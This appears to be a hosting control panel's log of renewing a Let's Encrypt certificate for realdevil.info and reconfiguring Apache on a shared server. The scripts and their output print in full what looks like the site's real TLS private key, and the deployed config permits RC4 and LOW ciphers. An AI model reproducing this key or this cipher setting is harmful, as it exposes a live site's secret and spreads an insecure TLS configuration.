iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-26 06:00:41: Establishing a connection
2025-09-26 06:00:42: Establishing a connection
2025-09-26 06:00:42:
PUT: /tmp/pkp207854
#!/bin/bash
if [ -d "/var/www/realdevil_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:00:48:
chmod 755 /tmp/pkp207854; /tmp/pkp207854; rm /tmp/pkp207854
2025-09-26 06:00:48:
1
2025-09-26 06:00:48: Establishing a connection
2025-09-26 06:00:49:
PUT: /tmp/pkp754519
#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
cat > fOGQG34lWuIjTMt-P91vq-9JJpy2eTelwUBkcMFTAdQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fOGQG34lWuIjTMt-P91vq-9JJpy2eTelwUBkcMFTAdQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fOGQG34lWuIjTMt-P91vq-9JJpy2eTelwUBkcMFTAdQ
cat > 0OYoqHWJEXon3WX74MaWFs9UQSQxJJ9v-VP1RhRNS44 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0OYoqHWJEXon3WX74MaWFs9UQSQxJJ9v-VP1RhRNS44.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0OYoqHWJEXon3WX74MaWFs9UQSQxJJ9v-VP1RhRNS44
2025-09-26 06:00:49:
chmod 755 /tmp/pkp754519; /tmp/pkp754519; rm /tmp/pkp754519
2025-09-26 06:00:49:
2025-09-26 06:00:59: Establishing a connection
2025-09-26 06:01:00:
PUT: /tmp/pkp966354
#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
rm fOGQG34lWuIjTMt-P91vq-9JJpy2eTelwUBkcMFTAdQ
rm 0OYoqHWJEXon3WX74MaWFs9UQSQxJJ9v-VP1RhRNS44
2025-09-26 06:01:00:
chmod 755 /tmp/pkp966354; /tmp/pkp966354; rm /tmp/pkp966354
2025-09-26 06:01:00:
2025-09-26 06:01:00: Establishing a connection
2025-09-26 06:01:00:
PUT: /tmp/pkp270008
#!/bin/bash
temp_file=$(mktemp)
TARGET=2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
cat > $temp_file <<'endmsg'
05:47:74:9c:fb:98:c0:a7:eb:8e:42:28:2e:3f:38:53
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBVCz36h0yxJ2gqUdapLE4MC8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjI2WhcNMjUxMjI1MDUwMjI1WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL+BU+ANxka4aH/B71Cs90axU9bbCurf81hsfLgXu9mOvZ2z632C4n5q6n+NbsrP
rGM6hK8q6WWxbTKSejf6PmiskHKMP0/JZC+Xea0Abx0nH0luEmBl6BBvzbFx+Qhv
rYO3nU5cbS0T+cs7/U8D0iL96veaFjf4i1fZG6lUMxgwHTmZpFORyWBNsyDaQjGU
ecAuq0n0LdrZpZlOV4WhhlroY5mYI+VAWf15x/W+dIinCxsOcvxnKDnHreswasT2
eg9TOG+HNAElT/gXUaSANOi8YEe0jGsg/+AOAMFMruyRzDgoVjwHelpLhClTHNx4
wSdAc8y45l6zdHfvfogD+QUCAwEAAaOCAjAwggIsMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUonxjk8ReNrLO5KImyKMQ47RemDowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjEuY3JsMIIBAgYKKwYBBAHW
eQIEAgSB8wSB8ADuAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZhJxCmgAABAMARjBEAiAv2Lb6c6zmK3LNFR59lqMa5BynmTH3KEE4UvPwtc2V
WQIgRReZoMdxwzb7h7y6voqXKmZoLXefcKFx8vbDlQvZvksAdQAS8U40vVNyTIQG
GcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZmEnEpsAAAEAwBGMEQCID/AHgGm4AGM
J+BK8vbZMFDvNk4yedwWdfJDAdggFgbLAiA4FYmy1TDr6OvBLNcnAtGb0m9MXlYd
DIcrrmKToVZ4jTANBgkqhkiG9w0BAQsFAAOCAQEAEbJgxxqiKIO3ZipjwEFSuRZN
AfHL/vEOIFMI5+GrszXiI6ZSbC5dN+fX74dfcE/+PzdkD06KpBCbtuGXYLp3kTIB
6z7T1AMkFTjrb09VjiI1tHUFQWtMAtHBH/h3SqYTRTtfLWrekenuUjgyAWpPY0AH
ZxtwWjN84bApFelhywhf+bdq3yVSYKCCMuC79nfF/++l8GXJvCZJ1A1qldJrzvL8
dD+NsySkX+ZBEwdH2KKr5/pq/zFhKPXk/4WWz4g4MVDqjVR/ePKlWkGctWYYeOmU
eNfmZy179gAMWRzgKuCU8qn0Mz6IT/qHd0tu2Hst+sf6uZoO4VbQkkWxHEe0pA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/gVPgDcZGuGh/
we9QrPdGsVPW2wrq3/NYbHy4F7vZjr2ds+t9guJ+aup/jW7Kz6xjOoSvKullsW0y
kno3+j5orJByjD9PyWQvl3mtAG8dJx9JbhJgZegQb82xcfkIb62Dt51OXG0tE/nL
O/1PA9Ii/er3mhY3+ItX2RupVDMYMB05maRTkclgTbMg2kIxlHnALqtJ9C3a2aWZ
TleFoYZa6GOZmCPlQFn9ecf1vnSIpwsbDnL8Zyg5x63rMGrE9noPUzhvhzQBJU/4
F1GkgDTovGBHtIxrIP/gDgDBTK7skcw4KFY8B3paS4QpUxzceMEnQHPMuOZes3R3
736IA/kFAgMBAAECggEAN4pLiByWl6Yd8IePX6d6Y89EEHkglnPzAH8eQMnpWjRy
u80VjCYsiBt7/RhIvJs0VOcA2kioviySDeu7dIaoGPWLQx13sy0mWEMnL8yDbUIO
ad55h+mmPzYdwsvaPN8exKe5AKP/qeY0OQQh+AuUoz9fKQZQUVVNHGJECnz4AJha
9i3VmUb+CEIKTjE0JqKWA2pC1b5lVQAx8fJ1tLDmtNsxMlJPyJCAxX8GrMzPuQoF
cJps5QRINL1WCO+5/oHldBn1P68DpzzdZiLp1b8FUuhOkdMdU4UVQNVO7ai1rgAL
CxZJg4k/CNhpdEAeoNXXPCYZxFH3ylVRQYvch2cMVQKBgQDtD/1Pgf30mrZpM6m3
Xj3wXnh54hqtO3u/w3edkqo6r/buNl+EWzBu1JsDcardFjhG54zFkXpfu+w9JXLe
++wL+N51WpxnvnxMNctQc03D3k9ozfspkG00Kz0cFlowm3IjB61htsO67s1QkNwH
5s0zQijyFKFsdAwgoe1Ze9kigwKBgQDOza0JGJOciVudYCbaiR2OItl21jx0w8QB
QXY9uZumJ2VDDEz5GDGZbnPL92qGcCIKyEiry6Q18CwieZ5QIRLjj9uM9KtlZXhK
LGY3FcpGBciuqWvRV9kiUyWPkqQdR1XtAKzjmzHoT0iQp8/QwTCOlPmwJ1HqYFr3
IfGF9wN/1wKBgQCZ8whN2d1SPCa5qxNMQad3seILRQqN9VMn9Yh4jAaAlkWF7Uma
ap3JW8hPNEIB0aw6X6TLqO4Pvbps+yTeKjvgin3tOCraNJoD4+tlE3ws9vIa3al+
FIzWlD3bP6jSaCB3H0U5b7csbmhnKau6dehMoWp1y3AJPlOh3YaF1ifsgQKBgQCz
vd30NvEtL9F50jVS4bPXcwCxofi/v9rfAIeFlIns+vavNMS+B8IsSezJTYy/tjxQ
RM2sy305CDtD55KqsGRbdxBqzckegvfu9/ILVJwPCj3nWQeF1yW5CK1vwRN1Ayhy
qpCZ7qyM7kPyvngIR7Eta9wst7Ah1oeZnl3ugsf+1wKBgCs+PGYUHwkFhbOOq6GF
WvB3ExE/tI+F9gy4DUZlP6YMBn0xyKSd/NlTK38YBVNXkFA2g9WHwghjmn7yY7Fe
RK/MlDUbwNzPXUKS0Ezk/SiBpPIbVrantuMwUpaajoApE1JYAsvvMDlEIyVwTwGS
po8+OCTJvsYsYyBFHLGfLGB1
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-26 06:01:00:
chmod 755 /tmp/pkp270008; /tmp/pkp270008; rm /tmp/pkp270008
2025-09-26 06:01:00:
dir=/etc/ssl/certs
2025-09-26 06:01:00:
PUT: /tmp/pkp331461
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/realdevil_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-26 06:01:00:
chmod 755 /tmp/pkp331461; /tmp/pkp331461; rm /tmp/pkp331461
2025-09-26 06:01:00:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 42
<VirtualHost *:80>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_access.log combined
ErrorLog /var/log/apache2/realdevil/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_secure_access.log combined
ErrorLog /var/log/apache2/realdevil/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:01:00:
PUT: /tmp/pkp653789
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realdevil_www_info.conf
TARGET=/etc/apache2/sites-enabled/realdevil_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_access.log combined
ErrorLog /var/log/apache2/realdevil/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_secure_access.log combined
ErrorLog /var/log/apache2/realdevil/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/realdevil_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf= 1'
fi
2025-09-26 06:01:00:
chmod 755 /tmp/pkp653789; /tmp/pkp653789; rm /tmp/pkp653789
2025-09-26 06:01:00:
2025-09-26 06:01:00:
PUT: /tmp/pkp315587
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-26 06:01:00:
chmod 755 /tmp/pkp315587; /tmp/pkp315587; rm /tmp/pkp315587
2025-09-26 06:01:01:
.
2025-09-26 06:01:01: Establishing a connection
2025-09-26 06:01:02:
PUT: /tmp/pkp259461
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-26 06:01:02:
chmod 755 /tmp/pkp259461; /tmp/pkp259461; rm /tmp/pkp259461
2025-09-26 06:01:02:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-09-26 06:01:02:
PUT: /tmp/pkp553307
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/realdevil_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:01:02:
chmod 755 /tmp/pkp553307; /tmp/pkp553307; rm /tmp/pkp553307
2025-09-26 06:01:02:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 1381
<VirtualHost *:80>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_access.log combined
ErrorLog /var/log/apache2/realdevil/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_secure_access.log combined
ErrorLog /var/log/apache2/realdevil/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:01:02:
PUT: /tmp/pkp760183
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:01:02:
chmod 755 /tmp/pkp760183; /tmp/pkp760183; rm /tmp/pkp760183
2025-09-26 06:01:02:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem 5372
05:47:74:9c:fb:98:c0:a7:eb:8e:42:28:2e:3f:38:53
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBVCz36h0yxJ2gqUdapLE4MC8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjI2WhcNMjUxMjI1MDUwMjI1WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL+BU+ANxka4aH/B71Cs90axU9bbCurf81hsfLgXu9mOvZ2z632C4n5q6n+NbsrP
rGM6hK8q6WWxbTKSejf6PmiskHKMP0/JZC+Xea0Abx0nH0luEmBl6BBvzbFx+Qhv
rYO3nU5cbS0T+cs7/U8D0iL96veaFjf4i1fZG6lUMxgwHTmZpFORyWBNsyDaQjGU
ecAuq0n0LdrZpZlOV4WhhlroY5mYI+VAWf15x/W+dIinCxsOcvxnKDnHreswasT2
eg9TOG+HNAElT/gXUaSANOi8YEe0jGsg/+AOAMFMruyRzDgoVjwHelpLhClTHNx4
wSdAc8y45l6zdHfvfogD+QUCAwEAAaOCAjAwggIsMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUonxjk8ReNrLO5KImyKMQ47RemDowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjEuY3JsMIIBAgYKKwYBBAHW
eQIEAgSB8wSB8ADuAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZhJxCmgAABAMARjBEAiAv2Lb6c6zmK3LNFR59lqMa5BynmTH3KEE4UvPwtc2V
WQIgRReZoMdxwzb7h7y6voqXKmZoLXefcKFx8vbDlQvZvksAdQAS8U40vVNyTIQG
GcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZmEnEpsAAAEAwBGMEQCID/AHgGm4AGM
J+BK8vbZMFDvNk4yedwWdfJDAdggFgbLAiA4FYmy1TDr6OvBLNcnAtGb0m9MXlYd
DIcrrmKToVZ4jTANBgkqhkiG9w0BAQsFAAOCAQEAEbJgxxqiKIO3ZipjwEFSuRZN
AfHL/vEOIFMI5+GrszXiI6ZSbC5dN+fX74dfcE/+PzdkD06KpBCbtuGXYLp3kTIB
6z7T1AMkFTjrb09VjiI1tHUFQWtMAtHBH/h3SqYTRTtfLWrekenuUjgyAWpPY0AH
ZxtwWjN84bApFelhywhf+bdq3yVSYKCCMuC79nfF/++l8GXJvCZJ1A1qldJrzvL8
dD+NsySkX+ZBEwdH2KKr5/pq/zFhKPXk/4WWz4g4MVDqjVR/ePKlWkGctWYYeOmU
eNfmZy179gAMWRzgKuCU8qn0Mz6IT/qHd0tu2Hst+sf6uZoO4VbQkkWxHEe0pA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/gVPgDcZGuGh/
we9QrPdGsVPW2wrq3/NYbHy4F7vZjr2ds+t9guJ+aup/jW7Kz6xjOoSvKullsW0y
kno3+j5orJByjD9PyWQvl3mtAG8dJx9JbhJgZegQb82xcfkIb62Dt51OXG0tE/nL
O/1PA9Ii/er3mhY3+ItX2RupVDMYMB05maRTkclgTbMg2kIxlHnALqtJ9C3a2aWZ
TleFoYZa6GOZmCPlQFn9ecf1vnSIpwsbDnL8Zyg5x63rMGrE9noPUzhvhzQBJU/4
F1GkgDTovGBHtIxrIP/gDgDBTK7skcw4KFY8B3paS4QpUxzceMEnQHPMuOZes3R3
736IA/kFAgMBAAECggEAN4pLiByWl6Yd8IePX6d6Y89EEHkglnPzAH8eQMnpWjRy
u80VjCYsiBt7/RhIvJs0VOcA2kioviySDeu7dIaoGPWLQx13sy0mWEMnL8yDbUIO
